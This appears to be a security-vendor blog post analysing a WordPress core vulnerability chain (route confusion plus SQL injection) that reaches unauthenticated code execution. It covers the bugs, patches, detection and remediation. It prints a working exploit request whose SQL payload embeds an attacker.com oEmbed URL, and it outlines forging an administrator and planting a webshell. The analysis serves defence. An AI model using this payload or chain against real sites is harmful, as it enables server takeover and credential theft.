Back to Blog
Red Teaming Sep 01, 2026 125 views

wp2shell: How a Logic Bug in WordPress Core Unlocked Unauthenticated RCE on Every Default Install

CVE-2026-63030 chains a REST API batch route-confusion bug with a SQL injection in WP_Query to produce unauthenticated remote code execution on any default WordPress install. Patched July 17, 2026.

By Syed Sadam Hussain Shah, Security Researcher, Cytomate

On July 17, 2026, the WordPress security team pushed an emergency release (versions 6.9.5 and 7.0.2) and enabled forced automatic updates for all affected sites. A two-CVE chain dubbed wp2shell had been disclosed, allowing any anonymous attacker on the internet to execute arbitrary code on a default WordPress installation. No plugins required. No authentication. No user interaction.

What This Means for Your Organization

If your organization runs WordPress and has not yet updated to version 6.8.6, 6.9.5, or 7.0.2, any attacker on the internet can take full control of your web server, read every user's email address and password, and run arbitrary code on your hosting infrastructure, with no login, no plugin, and no user action required. Update WordPress immediately, then check your administrator accounts for any unfamiliar entries and review recently modified plugin or theme files.

Both vulnerabilities live entirely in WordPress core and had shipped undetected across years of releases. Individually, neither is catastrophic. The SQL injection is gated behind conditions that are difficult to reach from outside without help. The batch processor bug is a logic flaw with no obvious direct impact. Combined, they produce a write primitive that the exploit uses to forge an administrator account and reach server-side code execution.

Exploitation Timeline

From Patch to Mass Exploitation
Jul 17, 2026
WordPress 6.9.5 & 7.0.2 emergency release published
Jul 17, 2026 (same day)
Public proof-of-concept published on GitHub
+6 hours
SANS ISC confirms active scanning in the wild
Jul 19, 2026
CISA adds both CVEs to the Known Exploited Vulnerabilities catalog
Late July 2026
Mass exploitation: cryptominers and webshells deployed at scale

CVSS at a Glance

9.8
Critical
CVSS v3.1 Base Score
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
Confidentiality / Integrity / AvailabilityHigh / High / High
ScopeUnchanged

Affected Versions

WordPress Branch Affected Range Fixed In Exposure
6.8.x6.8.0 – 6.8.56.8.6SQL injection only
6.9.x6.9.0 – 6.9.46.9.5Full RCE chain
7.0.x7.0.0 – 7.0.17.0.2Full RCE chain

The SQL injection component (CVE-2026-60137) is present across all three branches. The route confusion (CVE-2026-63030) that makes it reachable without authentication exists only in 6.9.x and 7.0.x. The 6.8.x branch carries the SQL sink but not the full unauthenticated attack path.

Background: The WordPress REST API Batch Endpoint

WordPress introduced the REST API in version 4.4. The /wp-json/batch/v1 batch endpoint arrived in WordPress 5.6 (December 2020), letting a single HTTP request bundle multiple sub-requests that the server processes in parallel and returns as a combined response. The primary use case is reducing round-trips in block editor operations.

The endpoint is enabled by default, requires no configuration, and is reachable by unauthenticated users. The design intent is that each sub-request gets validated against its target route's registered schema before it is dispatched. That validation-before-dispatch guarantee is exactly what wp2shell breaks.

CVE-2026-63030: Route Confusion in WP_REST_Server

The Bug

The vulnerable code lives in WP_REST_Server::serve_batch_request_v1(). The batch processor works in two sequential phases: validation, then dispatch. Both phases iterate over the same list of sub-requests and maintain two parallel arrays that must stay in lockstep:

  • $matches[]: the matched route handler for each sub-request
  • $validation_errors[]: errors collected from the schema validation phase

When wp_parse_url() fails to parse a sub-request path (for example, a path containing a null byte) the code pushes an error into $validation_errors but does not push a corresponding placeholder into $matches. One array grows by one. The other stays the same length. Every sub-request that follows is now off by one index.

Array Desync: CVE-2026-63030 Visualized
After Validation Loop
Sub-request 0: malformed path
validation_errors[0]: ERROR
matches: nothing added
Sub-request 1: GET /wp/v2/posts (attacker payload)
validation_errors[1]: OK
matches[0]: handler_for_sub1
Result: $validation_errors has 2 entries (indices 0–1). $matches has 1 entry (index 0 only). The arrays are now out of sync by 1.
During Dispatch Loop
i = 0: validation_errors[0] = ERROR → skip dispatch
i = 1: validation_errors[1] = OK → proceed
matches[0] dispatched: index is wrong by 1

The “OK” at validation_errors[1] belonged to sub-request 1's schema check (a permissive GET route). But the dispatcher uses matches[0] (the handler matched for sub-request 1's path) and passes it the attacker's body data containing the SQL payload. The auth checks the real handler would have enforced are never reached, because the batch processor already declared the request valid.

The core flaw: the validate-then-dispatch guarantee requires both arrays to share the same index. Missing one placeholder breaks that binding permanently for every subsequent sub-request in the batch.

An attacker who crafts the batch payload carefully can exploit this desync to land attacker-controlled data inside a code path that would normally be off-limits to an unauthenticated user: specifically, an internal WP_Query call with a parameter they fully control.

CVE-2026-60137: SQL Injection in WP_Query

The Bug

WP_Query is WordPress's central query construction engine. One of its accepted parameters is author__not_in, designed to receive an array of integer user IDs and produce a NOT IN (...) SQL clause. The sanitization logic uses an is_array() guard, and that guard is the source of the flaw.

When author__not_in arrives as an array (the expected type), every element is passed through absint(), which coerces each value to a positive integer. No SQL injection is possible:

if ( ! empty( $q['author__not_in'] ) ) {
    if ( is_array( $q['author__not_in'] ) ) {
        // Safe path: every element cast to integer by absint()
        $author__not_in = implode( ',', array_map( 'absint', $q['author__not_in'] ) );
        $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in)";
    }
    // If NOT an array -> the entire block is skipped. No sanitization. No error.
}

The developer guarded the primary array path correctly. The problem is PHP's loose typing: a scalar string passes the outer ! empty() check but fails is_array(), so the sanitization block is silently skipped. A secondary code path then uses the raw string value directly in the SQL query:

// Secondary path: reachable only through the route-confused batch request
// The string arrives here with no sanitization whatsoever
$where .= " AND {$wpdb->posts}.post_author NOT IN ($q['author__not_in'])";

Reaching this secondary path from outside normally requires administrator-level access. The route confusion from CVE-2026-63030 removes that requirement: it is the bridge between the two bugs.

How SQL Injection Becomes a Database Write: The oEmbed Primitive

A SQL injection in a SELECT query is typically a read-only primitive: useful for data exfiltration, but not for the account creation and code execution that wp2shell achieves. The critical escalation step is how wp2shell converts the read into a write.

The attacker does not just exfiltrate data from wp_posts. Instead, the UNION ALL SELECT payload fabricates a synthetic row in the query result that contains an [embed] shortcode pointing at an attacker-controlled server:

  1. UNION ALL SELECT injects a fake wp_posts row. The author__not_in string payload appends a fabricated row to the query result, with post_content set to an attacker-controlled value.
  2. The fabricated row contains an [embed] shortcode. post_content = [embed]http://attacker.com/oembed[/embed]: WordPress treats this as legitimate post content.
  3. WordPress's shortcode processor fires. When the result is rendered, WordPress's shortcode engine intercepts the [embed] tag and triggers the oEmbed handler to resolve the URL.
  4. WordPress makes an outbound request to the attacker's server. The oEmbed handler fetches a standard oEmbed discovery URL against the attacker's domain.
  5. The attacker's server returns a crafted oEmbed JSON response. The response carries attacker-controlled HTML in the "html" field, which WordPress accepts as a legitimate oEmbed result.
  6. WordPress caches the response in wp_postmeta. An oembed_cache row is written with the attacker-supplied HTML as the meta value: completing the write into the database.
  7. The read-only SQL injection is now an arbitrary database write. The attacker controls a row in wp_postmeta, which the next stage uses to forge a customizer changeset and impersonate an administrator.

The Full Exploit Chain: From Batch Request to Shell

The two bugs individually have limited utility. What makes wp2shell work is how each stage feeds the next, turning a logic flaw and a gated SQL injection into full administrator takeover and server-side code execution.

Stage 1: Route Confusion Unlocks the SQL Sink

A crafted POST /wp-json/batch/v1 body triggers the array desync via a malformed first sub-request. The second sub-request is validated against a permissive GET endpoint but dispatched to an internal route that constructs a WP_Query call. The attacker-controlled author__not_in value arrives as a string at the SQL layer.

Stage 2: SQL Injection Becomes a Write Primitive via oEmbed

The injection fabricates rows in the wp_posts query result via UNION ALL SELECT. Those rows carry [embed] shortcode markup pointing at an attacker-controlled server. WordPress's oEmbed handler resolves the URL and caches the response in wp_postmeta. A read-only SQL injection has become an arbitrary write into the database.

Stage 3: Forging a Customizer Changeset

Using the write primitive, the exploit inserts a customize_changeset post into wp_posts with the real administrator's user ID as post_author, embedding a queued internal API request as the changeset payload. A follow-up request causes WordPress to load the changeset and dispatch that embedded payload via WP_REST_Server::dispatch(): running it in the referenced administrator's capability context without re-verifying that the actual HTTP caller holds those capabilities.

Stage 4: Administrator Account Created

Inside that impersonation window, the embedded payload is a POST /wp/v2/users call with attacker-chosen credentials and "roles":["administrator"]. Because it runs in the legitimate administrator's context, it passes every capability check and creates a fully privileged account without any authentication.

Stage 5: Code Execution via Plugin Editor

With administrator credentials, the attacker uses WordPress's built-in plugin editor (/wp-admin/plugin-editor.php) to write a PHP webshell into any active plugin file. One HTTP GET to that file executes arbitrary server-side commands as the web server process user.

The entire sequence (five stages, unauthenticated, on a default install) requires only a handful of HTTP requests and is fully automatable.

What an Attacker Gains With Administrator Access

Once the forged administrator account exists, the practical impact goes well beyond the plugin editor used in Stage 5:

Plugin Editor (RCE)
Write arbitrary PHP into any active plugin file. One HTTP GET executes OS commands as the web server user.
wp-config.php Credentials
Database hostname, username, and password in plaintext: full read/write access to every table.
All User Data
Email addresses, hashed passwords, display names, and active session tokens for every registered user.
Theme Editor
An alternative RCE path, available even if the plugin editor is restricted by server configuration.
Plugin / Theme Installer
Upload and activate arbitrary ZIP files: no code signing or allow-list by default.
Media Upload
Depending on server configuration, uploaded files may be directly executable.
One forged admin account arbitrary code execution full server access every user credential on the site

Exploit Payload Structure

The initial batch request, as captured from honeypot traffic shortly after disclosure, follows this structure:

POST /?rest_route=/batch/v1 HTTP/1.1
Host: target.example.com
Content-Type: application/json

{
  "requests": [
    {
      "path": " invalid",
      "method": "GET"
    },
    {
      "path": "/wp/v2/posts",
      "method": "GET",
      "body": {
        "author__not_in": "0) UNION ALL SELECT 1,2,3,4,
          '[embed]http://attacker.com/oembed[/embed]',
          6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--"
      }
    }
  ]
}

The null byte in the first sub-request's path causes wp_parse_url() to fail, triggering the array desync. The second sub-request carries the SQL payload in author__not_in, which arrives as a raw string at the SQL sink as a direct consequence of the route confusion.

In-the-Wild Exploitation

Mass exploitation began within hours of the July 17, 2026, disclosure. A public proof-of-concept appeared on GitHub the same day. SANS ISC reported active scanning within six hours of the patch release. CISA added both CVEs to the Known Exploited Vulnerabilities (KEV) catalog on July 19, 2026.

By late July, exploitation campaigns were observed across cloud-hosted WordPress instances, with attackers primarily deploying cryptominers and PHP webshells for persistent access. WordPress.org enabled forced automatic updates (a measure reserved for critical security releases), ensuring that sites on managed hosting received the patch regardless of their update settings.

Patch Analysis

Fix for CVE-2026-63030

The patch repairs the array synchronization in serve_batch_request_v1(). When wp_parse_url() fails on a sub-request path, the code now inserts a null placeholder into $matches alongside the error in $validation_errors, keeping both arrays at equal length at all times. Additionally, the dispatch loop verifies that the handler being invoked is the same one that validated the current sub-request: a binding check that ensures the validate-then-dispatch guarantee cannot drift due to any future desync path.

Fix for CVE-2026-60137

The patch normalizes author__not_in at the point of ingestion, before it enters any conditional logic:

if ( ! empty( $q['author__not_in'] ) && ! is_array( $q['author__not_in'] ) ) {
    $q['author__not_in'] = array( $q['author__not_in'] );
}

If a scalar string arrives, it is immediately wrapped in a single-element array. The is_array() guard downstream always succeeds, every value goes through absint(), and the SQL layer never sees raw user-controlled input. The secondary code path that previously accepted a raw string is eliminated. Both fixes are minimal and precise: they correct the exact failure modes without disabling the affected functionality.

Detection

Log-based detection: look for POST requests to /wp-json/batch/v1 or /?rest_route=/batch/v1 with any of the following: author__not_in in the request body, null bytes or Unicode escapes in sub-request path fields, or unusually large Content-Length headers relative to normal editor traffic.

Compromise indicators to check:

  • New administrator accounts with unfamiliar usernames or email addresses
  • Recently modified PHP files in active plugins or themes with timestamp mismatches
  • POST requests to plugin or theme PHP file paths in web server logs
  • oembed_cache rows in wp_postmeta referencing external domains not in your oEmbed allowlist

Administrator account audit query:

SELECT u.user_login, u.user_email, u.user_registered
FROM wp_users u
JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key  = 'wp_capabilities'
  AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;

Any administrator accounts you do not recognize should be treated as artifacts of compromise and investigated before removal.

Remediation

Update immediately to WordPress 6.8.6, 6.9.5, or 7.0.2. There is no workaround: the batch endpoint cannot be safely disabled without breaking core editor functionality in most configurations, and the SQL injection fix requires a code change. Beyond patching:

  • Remove any administrator accounts you did not create
  • Rotate database credentials: if the site was compromised, assume the attacker read wp-config.php
  • Rotate WordPress security keys and salts to invalidate all active sessions
  • Review recently modified PHP files in plugins and themes directories
  • Check wp_postmeta for unexpected oembed_cache rows from external domains

Why This Chain Matters

Most critical WordPress vulnerabilities require a third-party plugin. wp2shell requires only a stock install. The /wp-json/batch/v1 endpoint has been enabled by default since WordPress 5.6 (December 2020), meaning the attack surface was present on essentially every modern WordPress site for years before either CVE was identified.

The chain is a useful case study in how vulnerability chaining can transform two mundane bugs into a critical pre-authentication RCE. The connection between them is not obvious from auditing either function in isolation. It requires asking a specific question: if attacker-controlled data can reach a WP_Query call without being validated, what can be done from there? Traced all the way through the oEmbed cache, the customizer pipeline, and administrator impersonation, the answer is a shell.

The validate-then-dispatch pattern is safe only when the same route binding is guaranteed from validation through to dispatch. Any architecture that separates these two phases must prove the binding cannot drift. Here it could drift, and the patch correctly enforces that guarantee at both the synchronization level and the per-request handler-binding level.

Sources WordPress 7.0.2 Patch Analysis: Maciej Szymczak
WordPress CVE-2026-63030 Exploitation Underway: SANS ISC

More from the Blog

Threat Intelligence Nov 29, 2026

The Build-Pipeline Backdoor: Inside the NullReceiver Supply-Chain Campaign

Read More
Deception Nov 29, 2026

Lying to the Machines: The Secret Weapon Against AI Attacks

Read More
Agentic Security Nov 24, 2026

Your AI Coding Agents Need an EDR Too: Introducing cADRe

Read More